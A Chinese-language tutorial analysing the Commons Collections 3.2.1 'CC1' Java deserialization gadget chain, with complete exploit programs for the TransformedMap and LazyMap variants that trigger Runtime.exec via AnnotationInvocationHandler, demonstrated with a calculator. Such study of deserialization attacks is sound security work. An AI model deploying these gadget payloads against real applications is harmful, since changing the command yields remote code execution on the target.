Java安全-CC1链

Java安全-CC1链

环境搭建

创建一个 IDEA 项目,选中 maven,并使用 jdk8u65

maven项目模板选择quickstart

在项目结构->模块修改语言级别

添加 Maven 中对 CC1 链的依赖包

1
2
3
4
5
6
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->  
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

使用 maven clean + maven install

  • 再说一说如何验证环境导入成功吧,我们 import CC 的包
1
import org.apache.commons.collections.functors.InvokerTransformer;

如果成功说明安装成功了 ~

我们还要做一件事,修改 sun 包

因为我们打开源码,很多地方的文件是 .class 文件,是已经编译完了的文件,都是反编译代码,我们很难读懂,所以需要把它转换为 .java 文件

openJDK 8u65 ———— 去到这个下载链接,点击 zip

将其解压之后,先搁一边,我们解压 jdk8u65 的 src.zip,解压完之后,我们把 openJDK 8u65 解压出来的 sun 文件夹拷贝进 jdk8u65 中,这样子就能把 .class 文件转换为 .java 文件了。

openJDK 8u65 sun文件夹在jdk-af660750b2f4\src\share\classes路径下

拷贝成功后,在IDEA->File->项目结构->SDK->源路径中加入src文件夹

Common-Collections 相关介绍

出自:Apache Commons Collections包和简介 | 闪烁之狐

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)。

  • 简单来说,Common-Collections 这个项目开发出来是为了给 Java 标准的 Collections API 提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。

包结构介绍

  • org.apache.commons.collections – CommonsCollections自定义的一组公用的接口和工具类
  • org.apache.commons.collections.bag – 实现Bag接口的一组类
  • org.apache.commons.collections.bidimap – 实现BidiMap系列接口的一组类
  • org.apache.commons.collections.buffer – 实现Buffer接口的一组类
  • org.apache.commons.collections.collection –实现java.util.Collection接口的一组类
  • org.apache.commons.collections.comparators– 实现java.util.Comparator接口的一组类
  • org.apache.commons.collections.functors –Commons Collections自定义的一组功能类
  • org.apache.commons.collections.iterators – 实现java.util.Iterator接口的一组类
  • org.apache.commons.collections.keyvalue – 实现集合和键/值映射相关的一组类
  • org.apache.commons.collections.list – 实现java.util.List接口的一组类
  • org.apache.commons.collections.map – 实现Map系列接口的一组类
  • org.apache.commons.collections.set – 实现Set系列接口的一组类

TransformMap版CC1攻击链分析

  • 首先我们再次明确一下反序列化的攻击思路。

入口类这里,我们需要一个 readObject 方法,结尾这里需要一个能够命令执行的方法。我们中间通过链子引导过去。所以我们的攻击一定是从尾部出发去寻找头的,流程图如下。

寻找尾部的 exec 方法

我们直接来到cc1链的核心接口transfromer接口

快捷键 ctrl + alt + B,查看实现接口的类

其中InvokerTransformer很突出,因为我们知道方法是 Java 反射机制的核心方法,用于动态调用方法

转到InvokerTransformer类,成功找到了类中存在的一个反射调用任意类,可以作为我们链子的终点

复习一下反射poc

获取.class文件->获取方法->修改作用域(private方法)->invoke执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InvokeTransformerTest {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime runtime = Runtime.getRuntime();
Class c= Runtime.class;
Method method = c.getDeclaredMethod("exec",String.class);
method.setAccessible(true);
method.invoke(runtime,"calc");
}
}

写String.class的原因

在Java反射中,方法通过 方法名 + 参数类型列表 唯一标识:

方法调用 对应的exec重载版本
getMethod("exec") ❌ 编译错误(不明确)
getMethod("exec", String.class) exec(String command)
getMethod("exec", String[].class) exec(String[] cmdarray)
getMethod("exec", String.class, String[].class) exec(String command, String[] envp)

成功弹出计算器

接下来我们构造一个利用 InvokerTransformer 类弹计算器的程序

根据构造方法构造 EXP,因为是 public 的方法,这里无需反射

构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class InvokeTransformerTest {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
invokerTransformer.transform(runtime);
}
}

成功弹出计算器

与一开始使用反射的poc对比,其实就是找到了一个可以直接使用,无需反射的方法

  • 注意我们最后一句 invokerTransformer.transform(runtime);
  • 所以我们下一步的目标是去找调用 transform 方法的不同名函数

初步寻找链子

右键 –> find usages(查找用法),如果 find usages 这里有问题的话,可以先 Ctrl+Alt+Shift+F7,选择 All place 查询。

一共是有21处用法,需要逐个排查

目的是找到有其他方法调用transfrom,向上寻找入口

如何排查?

  1. 调用transform方法的类可作为参数传入,可控制(能够使其调用invokerTransformer中的transform方法)
  2. 能够找到readObject链首

这里找到 TransformedMap 类中存在 checkSetValue() 方法调用了 transform() 方法

  • OK,接下来我们去看一看 valueTransformer.checkSetValuevalueTransformer 是什么东西,最终在 TransformedMap 的构造函数中发现了 valueTransformer

    但是是一个protected方法

  • 继续向上查找,来到decorate方法

看到此方法是public方法,尝试构造poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class decorateCalc {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);
Class<TransformedMap> transformedMapClass = TransformedMap.class;
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, runtime);
}
}

构造poc的过程:

按照我们分析出的方法从前到后的调用流程 decorate(new TransformedMap)->checkSetValue(调用invokerTransformer的transform方法)

TransformedMap的构造方法是protected类型,所以需要decorate方法来new TransformedMap

这么一看,调用 .decorate 方法就很有必要了,这几句语句是为了运用 .decorate 方法而存在的。

1
2
3
4
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"  
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = TransformedMap.decorate(hashMap, null, invokerTransformer);

接着,因为 .decorate 方法被调用,我们可以新建 TransformedMap 对象了

1
Class<TransformedMap> transformedMapClass = TransformedMap.class;

再通过反射构造攻击手段

1
2
3
Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue", Object.class);  
checkSetValueMethod.setAccessible(true);
checkSetValueMethod.invoke(decorateMap, runtime);

成功弹出计算器

完整链子

  • 目前找到的链子位于 checkSetValue 当中,去找 .decorate 的链子,发现无法进一步前进了,所以我们回到 checkSetValue 重新找链子,我们要找到readObject方法作为链首

继续 find usages,找到了 parent.checkSetValue(value); 调用了 checkSetValue

我们点进去看,发现这是一个抽象类,是 TransformedMap 的父类。

  • 调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

setValue函数用来更新当前键值对的值,返回旧值,并会同步修改到所属的 Map,在进行Map遍历时,一定会走入setValue方法

这里追踪一下setValue函数

所以,我们在进行 .decorate 方法调用,进行 Map 遍历的时候,就会走到 setValue() 当中,而 setValue() 就会调用 checkSetValue

这里可以测试一下,看看遍历Map是否会调用setValue

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
package com.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class setValue01 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
map.put("calc", "a");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);
for (Map.Entry<Object,Object> entry : decorate.entrySet()) {
entry.setValue(runtime);
}
}
}

顺利弹出计算器

  • 到此处,我们的攻击思路出来了,找到一个是数组的入口类,遍历这个数组,并执行 setValue 方法,即可构造 Poc。

一句话概括一下

如何遍历一个Map最终执行 setValue() 方法

如果能找到一个 readObject() 里面调用了 setValue() 就太好了

寻找 readObject() – 链首

  • 之前链子是到 setValue 的,所以我们在 setValue 处,查找用法

在AnnotationInvocationHandler.class的readObject方法

先看构造方法(为了实例化这个类)

可以看到有Map类型参数,可以将我们构造好的Map类型参数payload直接传入

但是此方法并不是public,在java中,只要没有写public,作用域便是default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它。

同时关注到能够进入setValue方法需要满足的两个条件

TransformMap版CC1手写 EXP

初始框架

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package com.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class EXP {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {

//危险方法,核心危险参数构造
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
HashMap map = new HashMap();
map.put("calc", "a");
Map<Object,Object> decorate = TransformedMap.decorate(map, null, invokerTransformer);

//反射获取AnnotationInvocationHandler(),实例化AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Override.class, decorate);

//序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

问题一:Runtime类无法序列化

Runtime 是不能序列化的,因为Runtime类没有继承序列化接口 java.io.Serializable

但是 Runtime.class 是可以序列化的,Class类继承了序列化接口,所有.class文件都可以序列化

我们先写一遍普通反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class problem01 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
// 获取Runtime实例
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
}
}

接着,我们将这个反射的 Runtime 改造为使用 InvokerTransformer 调用的方式。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;

public class problem01 {
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException, ClassNotFoundException, InstantiationException, IOException {

/**
Class c = Runtime.class;
Method getRuntime = c.getMethod("getRuntime", null);
// 获取Runtime实例
Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Method exec = c.getMethod("exec", String.class);
exec.invoke(runtime, "calc");
**/

Class c = Runtime.class;
//Method getRuntime = c.getMethod("getRuntime", null);
Object getRuntimeMethod = new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}).transform(c);
//获取Runtime实例 Runtime runtime = (Runtime) getRuntime.invoke(null, null);
Runtime runtime = (Runtime) new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
//Method exec = c.getMethod("exec", String.class);
//Object exec = new InvokerTransformer("getMethod", new Class[]{String.class}, new Object[]{"exec", null}).transform(c);
//在实例调用方法执行反射
Object transform = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

}
}

顺利弹出计算器

稍微理一理可以看到,上方主函数最后三行代码有一个共同点就是:

  • 格式都为 new InvokerTransformer().transform()
  • 后一个 transform() 方法里的参数都是前一个的结果

从代码的复用性角度来说,我们应当减少这种复用的工作量,于是我们使用 ChainedTransformer 这个类。

ChainedTransformer函数会将传回的数组进行递归调用

ChainedTransformer 类下的 transform 方法递归调用了前一个方法的结果,作为后一个方法的参数。

  • 知道了用法之后编写 EXP,先定义一个数组,然后将数组传到 ChainedTransformer 类中,再调用 .transform 方法。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package com.example;  // 包声明:com.example

// 导入必要的类
import org.apache.commons.collections.Transformer; // 转换器接口
import org.apache.commons.collections.functors.ChainedTransformer; // 链式转换器
import org.apache.commons.collections.functors.InvokerTransformer; // 反射调用转换器

public class CEXP {
public static void main(String[] args) { // 主方法

// 创建一个Transformer数组,定义攻击链的每一步
Transformer[] transformers = new Transformer[]{
// 第一步:通过反射获取Runtime类的getRuntime方法
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", null}),

// 第二步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, null}),

// 第三步:在Runtime实例上调用exec方法执行计算器
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"})
};

// 将三个Transformer组合成链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

// 触发整个攻击链:从Runtime.class开始,最终执行calc命令
chainedTransformer.transform(Runtime.class);
}
}

成功弹出计算器

将此链与之前的链结合

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

// 解决了第一个问题
public class EXP {
public static void main(String[] args) throws Exception {

//危险方法,核心危险参数构造
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap map = new HashMap();
map.put("calc", "a");

//反射获取AnnotationInvocationHandler(),实例化AnnotationInvocationHandler类
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Override.class, transformedMap);

// 序列化反序列化
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

问题二:如何进入setValue方法

此时直接运行EXP是不能弹出计算器的

我们在AnnotationInvocationHandler.java的readObject第一个if处下一个断点进行调试查看

调试时发现并没有走入条件循环,而是直接跳出了

因为判断了memberType为空

所以程序执行都并未走入setValue方法

需要满足条件(传入注解中需要有成员方法,让我们构造Map时可传入对应键值对)

  1. 传入注解中需要有成员方法

  2. 值是成员类型的实例(成员方法名与传入数组的键相同)

    hashMap.put("para1", "para2") 中的 para1 与成员变量相对应

    1
    2
    3
    //第二个if条件
    if (!(memberType.isInstance(value) ||
    value instanceof ExceptionProxy)) {

但我们传参时传入的注解并没有成员

我们找到 Target.class ,点进 Target,当中有一个成员变量为 value,所以我们 map.put 也需要修改为 value

此注解有成员方法

修改后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class EXP {
public static void main(String[] args) throws Exception {

Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap map = new HashMap();
map.put("value", "aaa");

// 装饰为 TransformedMap
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

// 构造 AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);

// 触发序列化 + 反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

我们继续往下跟程序,发现 setValue() 处中的参数并不可控,而是指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的。

我们需要找到一个类,能够可控 setValue 的参数。

问题三:如何控制setValue参数

  • 我们这里找到了一个能够解决 setValue 可控参数的类 ———— ConstantTransformer

这个类完美符合我们的要求,点进去看一看。

发现传入什么,transform方法就会返回什么

利用此类,我们就可以控制transform传入的value值

我们先传入一个 Runtime.class,然后无论 transform() 方法会调用什么对象,都会返回 Runtime.class

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
package com.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class EXP {
public static void main(String[] args) throws Exception {

//危险方法,核心危险参数构造
Transformer[] transformers = new Transformer[]{
//触发攻击链子
new ConstantTransformer(Runtime.class),
// 第一步:通过反射获取Runtime类的getRuntime方法
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第二步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第三步:在Runtime实例上调用exec方法执行计算器
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};

// 将三个Transformer组合成链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


HashMap map = new HashMap();
map.put("value", "aaa");

// 装饰为 TransformedMap
Map<Object, Object> transformedMap = TransformedMap.decorate(map, null, chainedTransformer);

// 构造 AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
Object o = aihConstructor.newInstance(Target.class, transformedMap);

// 触发序列化 + 反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

成功执行

调用链梳理与总结

1
2
3
4
5
6
7
8
9
10
//利用链
InvokerTransformer#transform
TransformedMap#checkSetValue
AbstractInputCheckedMapDecorator#setValue
AnnotationInvocationHandler#readObject

//辅助链
ChainedTransformer //将三个Transformer组合成链式转换器
ConstantTransformer //使setValue的Value值为Runtime.class开启攻击
HashMap //遍历数组时调用到setValue

LazyMap版CC1攻击链分析

寻找链子

  • 这条链子的尾部依旧是InvokerTransformer的transform方法,利用其调用exec执行命令
  • 与TransformMap版不同的是,我们在InvokeTransformer 下的 transform 方法,进行 查找用法操作时,选择了LazyMap类

可以看到这个类的get方法调用了transform方法

这个类的构造方法是protected类型,无法直接新建实例

看到熟悉的decorate方法

这里依旧利用decorate方法新建实例

我们构造如下的 EXP,来证明这条链子暂时是可行的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package com.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;


import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class EXP2 {
public static void main(String[] args) throws Exception{
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"});
HashMap<Object, Object> hashMap = new HashMap<>();
Map decorateMap = LazyMap.decorate(hashMap, invokerTransformer);
Class<LazyMap> lazyMapClass = LazyMap.class;
Method lazyGetMethod = lazyMapClass.getDeclaredMethod("get", Object.class);
lazyGetMethod.setAccessible(true);
lazyGetMethod.invoke(decorateMap, runtime);
}
}

能够成功弹出计算器继续查找get方法的用法

来到AnnotationInvocationHandler的invoke方法

同时这个类也非常好,它里面有 readObject() 方法,可以作为我们的入口类。

  • 现在的关键点在于我们要触发 AnnotationInvocationHandler.invoke()

编写EXP

需要触发 invoke 方法,马上想到动态代理,一个类被动态代理了之后,想要通过代理调用这个类的方法,就一定会调用 invoke() 方法。我们去找一找能利用的地方

我们来看一下invoke这个方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
public Object invoke(Object proxy, Method method, Object[] args) {
String member = method.getName(); // 获取被调用的方法名
Class<?>[] paramTypes = method.getParameterTypes(); // 获取参数类型列表

// 处理 Object 类和 Annotation 接口自带的方法
if (member.equals("equals") && paramTypes.length == 1 &&
paramTypes[0] == Object.class)
return equalsImpl(args[0]); // 如果调用的是 equals(Object),交给 equalsImpl 实现

if (paramTypes.length != 0)
throw new AssertionError("Too many parameters for an annotation method");
// 注解方法不能有参数,如果有参数就抛异常

// 针对几个特殊方法做处理
switch(member) {
case "toString":
return toStringImpl(); // 调用 toString 时,返回自定义实现
case "hashCode":
return hashCodeImpl(); // 调用 hashCode 时,返回自定义实现
case "annotationType":
return type; // 调用 annotationType 时,返回注解的类型对象
}

// 处理普通注解成员方法(即注解里的属性)
Object result = memberValues.get(member); // 从成员变量 Map 中获取对应值

if (result == null)
throw new IncompleteAnnotationException(type, member);
// 如果没有值,说明注解信息不完整,抛出异常

if (result instanceof ExceptionProxy)
throw ((ExceptionProxy) result).generateException();
// 如果是异常代理对象,则抛出对应异常

if (result.getClass().isArray() && Array.getLength(result) != 0)
result = cloneArray(result);
// 如果值是数组,并且非空,则克隆一份,避免外部修改原始数据

return result; // 返回对应的注解成员值
}
  • memberValues必须是无参方法

寻找是否有无参方法的调用

正好看到readObject中有memberValues调用了entrySet,entrySet是一个无参方法

在这里调用了 entrySet() 方法,也就是说,如果我们将 memberValues 的值改为代理对象,当调用代理对象的方法,那么就会跳到执行 invoke() 方法,最终完成整条链子的调用。

关于memberValue和找到的无参方法的理解:

1.memberValues 是什么

在你这段代码里,核心字段是:

1
Object result = memberValues.get(member);
  • memberValues 实际上是一个 Map,类型大概是:

    1
    Map<String, Object> memberValues;
  • 作用:存放注解每个成员(属性)的值。

    • Key:注解方法名(比如 "value", "name")。
    • Value:对应的值(比如 "Hello", 123,或者数组)。

举例:

1
2
3
4
@interface MyAnno {
String name();
int age() default 18;
}

如果我们写:

1
2
@MyAnno(name="Tom")
class Test {}

那么 memberValues 大概长这样:

1
2
3
4
{
"name" -> "Tom",
"age" -> 18 // 用的是默认值
}
  1. 无参方法是谁的方法

在注解里,每个“属性”其实就是一个无参方法
比如:

1
2
3
4
@interface MyAnno {
String value();
int age() default 18;
}

它在编译后变成接口:

1
2
3
4
public interface MyAnno extends Annotation {
String value(); // 这是一个无参方法
int age(); // 这是一个无参方法
}

也就是说:

  • value()age() 看起来像属性,但本质上是 无参方法
  • 调用 myAnno.value() 的时候,实际上 JVM 是通过 动态代理 调用到你贴的 invoke() 方法。
  • invoke() 里,method.getName() 就会得到 "value""age",然后到 memberValues 里取值。
  1. 结合起来看

当你写:

1
2
MyAnno anno = Test.class.getAnnotation(MyAnno.class);
System.out.println(anno.value());

运行时执行流程是:

  1. anno 其实是一个 Proxy 代理对象。
  2. 调用 anno.value() → JVM 调用 invoke(proxy, method, null)
    • method.getName() = "value"
  3. memberValues 里查 "value" 对应的值。
  4. 返回 "Tom"

总结一句话

  • memberValues 存的是 注解属性名 → 值 的映射。
  • 注解里的 属性方法value(), age() 等)就是那些无参方法。

理解了这个我们就可以开始编写EXP了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
package com.example;


import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class EXP3 {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException {
//危险参数构造
//危险方法,核心危险参数构造
Transformer[] transformers = new Transformer[]{
//触发攻击链子
//其实这里可以不用这个,因为我们不再需要进入setValue方法
new ConstantTransformer(Runtime.class),
// 第一步:通过反射获取Runtime类的getRuntime方法
new InvokerTransformer("getMethod"
, new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
// 第二步:调用getRuntime方法获取Runtime实例
new InvokerTransformer("invoke"
, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
// 第三步:在Runtime实例上调用exec方法执行计算器
new InvokerTransformer("exec"
, new Class[]{String.class}, new Object[]{"calc"})
};

// 将三个Transformer组合成链式转换器
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);


//生成LazyMap实例
HashMap map = new HashMap();
Map<Object, Object> lazyMap = LazyMap.decorate(map, chainedTransformer);

// 实例化 AnnotationInvocationHandler
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler invocationHandler = (InvocationHandler) aihConstructor.newInstance(Override.class, lazyMap);

//新建动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);

// 新建AnnotationInvocationHandler实例
Object o = aihConstructor.newInstance(Override.class, mapProxy);

// 触发序列化 + 反序列化
serialize(o);
unserialize("ser.bin");
}

public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
oos.close();
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

顺利弹出计算器

调用链梳理与总结

1
2
3
4
//利用链
InvokerTransformer#transform
LazyMap#get
AnnotationInvocationHandler#readObject

修复手段

官方这里的推荐修复方法是将 jdk 版本提升至 jdk8u71,我们来看一下为什么官方会推荐这种方法。

